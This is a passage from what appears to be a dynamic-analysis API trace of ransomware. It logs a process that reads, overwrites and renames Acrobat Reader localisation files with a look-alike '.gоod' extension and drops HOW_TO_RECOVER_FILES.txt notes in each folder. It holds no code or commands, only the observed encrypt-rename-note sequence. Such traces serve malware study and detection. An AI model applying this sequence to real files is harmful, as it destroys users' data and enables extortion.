SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec110) returned 1 [0249.833] GetFileType (hFile=0x89c) returned 0x1 [0249.833] GetFileSize (in: hFile=0x89c, lpFileSizeHigh=0x202ec348 | out: lpFileSizeHigh=0x202ec348*=0x0) returned 0x58a [0249.833] ReadFile (in: hFile=0x89c, lpBuffer=0x3977760, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ec278, lpOverlapped=0x0 | out: lpBuffer=0x3977760*, lpNumberOfBytesRead=0x202ec278*=0x58a, lpOverlapped=0x0) returned 1 [0249.892] CloseHandle (hObject=0x89c) returned 1 [0250.566] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\cs-cz\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x202ebc80, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\cs-cz\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0250.566] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1a0) returned 1 [0250.566] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\cs-cz\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\cs-cz\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a4 [0250.837] GetFileType (hFile=0x8a4) returned 0x1 [0250.837] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec110) returned 1 [0250.837] GetFileType (hFile=0x8a4) returned 0x1 [0250.838] WriteFile (in: hFile=0x8a4, lpBuffer=0x39c2ac8*, nNumberOfBytesToWrite=0x590, lpNumberOfBytesWritten=0x202ec188, lpOverlapped=0x0 | out: lpBuffer=0x39c2ac8*, lpNumberOfBytesWritten=0x202ec188*=0x590, lpOverlapped=0x0) returned 1 [0250.838] CloseHandle (hObject=0x8a4) returned 1 [0250.838] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\cs-cz\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\cs-cz\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0250.838] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\cs-cz\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\cs-cz\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x8a [0250.838] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2b0) returned 1 [0250.838] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\cs-cz\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\cs-cz\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x202ec390 | out: lpFileInformation=0x202ec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x91ba3a80, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x590)) returned 1 [0250.838] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec270) returned 1 [0250.838] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\cs-cz\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\cs-cz\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\cs-cz\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\cs-cz\\ui-strings.js.gоod")) returned 1 [0250.839] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\cs-cz\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\cs-cz\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x90 [0250.839] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec4b0) returned 1 [0250.839] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\cs-cz\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\cs-cz\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x8a4 [0250.840] GetFileType (hFile=0x8a4) returned 0x1 [0250.840] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec420) returned 1 [0250.840] GetFileType (hFile=0x8a4) returned 0x1 [0250.840] WriteFile (in: hFile=0x8a4, lpBuffer=0x39c63d8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ec578, lpOverlapped=0x0 | out: lpBuffer=0x39c63d8*, lpNumberOfBytesWritten=0x202ec578*=0x5d0, lpOverlapped=0x0) returned 1 [0250.841] CloseHandle (hObject=0x8a4) returned 1 [0250.841] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec540) returned 1 [0250.841] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\da-dk", nBufferLength=0x105, lpBuffer=0x202ebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\da-dk", lpFilePart=0x0) returned 0x77 [0250.841] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\da-dk\\*", lpFindFileData=0x202ec260 | out: lpFindFileData=0x202ec260*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b2e0 [0250.841] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.842] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x547, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0250.842] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0250.842] FindClose (in: hFindFile=0x134b2e0 | out: hFindFile=0x134b2e0) returned 1 [0250.842] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec480) returned 1 [0250.842] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec440) returned 1 [0250.842] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec540) returned 1 [0250.842] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\da-dk", nBufferLength=0x105, lpBuffer=0x202ebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\da-dk", lpFilePart=0x0) returned 0x77 [0250.842] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\da-dk\\*", lpFindFileData=0x202ec260 | out: lpFindFileData=0x202ec260*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134abc0 [0250.842] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.842] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x547, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0250.842] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x547, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0250.843] FindClose (in: hFindFile=0x134abc0 | out: hFindFile=0x134abc0) returned 1 [0250.843] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec480) returned 1 [0250.843] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec440) returned 1 [0250.843] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\da-dk\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\da-dk\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0250.843] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2f0) returned 1 [0250.843] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\da-dk\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\da-dk\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x39d62b0 | out: lpFileInformation=0x39d62b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x547)) returned 1 [0250.844] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec2b0) returned 1 [0250.844] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\da-dk\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x202ebc80, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\da-dk\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0250.844] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1a0) returned 1 [0250.844] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\da-dk\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\da-dk\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a4 [0250.844] GetFileType (hFile=0x8a4) returned 0x1 [0250.844] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec110) returned 1 [0250.844] GetFileType (hFile=0x8a4) returned 0x1 [0250.844] GetFileSize (in: hFile=0x8a4, lpFileSizeHigh=0x202ec348 | out: lpFileSizeHigh=0x202ec348*=0x0) returned 0x547 [0250.844] ReadFile (in: hFile=0x8a4, lpBuffer=0x39d6ba0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ec278, lpOverlapped=0x0 | out: lpBuffer=0x39d6ba0*, lpNumberOfBytesRead=0x202ec278*=0x547, lpOverlapped=0x0) returned 1 [0250.845] CloseHandle (hObject=0x8a4) returned 1 [0250.900] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\da-dk\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x202ebc80, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\da-dk\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0250.900] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1a0) returned 1 [0250.900] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\da-dk\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\da-dk\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a0 [0250.901] GetFileType (hFile=0x8a0) returned 0x1 [0250.901] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec110) returned 1 [0250.901] GetFileType (hFile=0x8a0) returned 0x1 [0250.901] WriteFile (in: hFile=0x8a0, lpBuffer=0x386ecf8*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x202ec188, lpOverlapped=0x0 | out: lpBuffer=0x386ecf8*, lpNumberOfBytesWritten=0x202ec188*=0x550, lpOverlapped=0x0) returned 1 [0250.902] CloseHandle (hObject=0x8a0) returned 1 [0250.902] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\da-dk\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\da-dk\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0250.902] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\da-dk\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\da-dk\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x8a [0250.902] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2b0) returned 1 [0250.902] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\da-dk\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\da-dk\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x202ec390 | out: lpFileInformation=0x202ec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x91c3c3d6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x550)) returned 1 [0250.903] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec270) returned 1 [0250.903] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\da-dk\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\da-dk\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\da-dk\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\da-dk\\ui-strings.js.gоod")) returned 1 [0250.903] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\da-dk\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\da-dk\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x90 [0250.903] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec4b0) returned 1 [0250.903] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\da-dk\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\da-dk\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x8a0 [0250.904] GetFileType (hFile=0x8a0) returned 0x1 [0250.904] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec420) returned 1 [0250.905] GetFileType (hFile=0x8a0) returned 0x1 [0250.905] WriteFile (in: hFile=0x8a0, lpBuffer=0x38726b8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ec578, lpOverlapped=0x0 | out: lpBuffer=0x38726b8*, lpNumberOfBytesWritten=0x202ec578*=0x5d0, lpOverlapped=0x0) returned 1 [0250.905] CloseHandle (hObject=0x8a0) returned 1 [0250.906] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec540) returned 1 [0250.906] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\de-de", nBufferLength=0x105, lpBuffer=0x202ebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\de-de", lpFilePart=0x0) returned 0x77 [0250.906] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\de-de\\*", lpFindFileData=0x202ec260 | out: lpFindFileData=0x202ec260*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b340 [0250.906] FindNextFileW (in: hFindFile=0x134b340, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.907] FindNextFileW (in: hFindFile=0x134b340, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0250.907] FindNextFileW (in: hFindFile=0x134b340, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0250.907] FindClose (in: hFindFile=0x134b340 | out: hFindFile=0x134b340) returned 1 [0250.907] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec480) returned 1 [0250.907] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec440) returned 1 [0250.907] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec540) returned 1 [0250.907] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\de-de", nBufferLength=0x105, lpBuffer=0x202ebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\de-de", lpFilePart=0x0) returned 0x77 [0250.907] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\de-de\\*", lpFindFileData=0x202ec260 | out: lpFindFileData=0x202ec260*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b160 [0250.907] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.908] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x202ec220 | out: 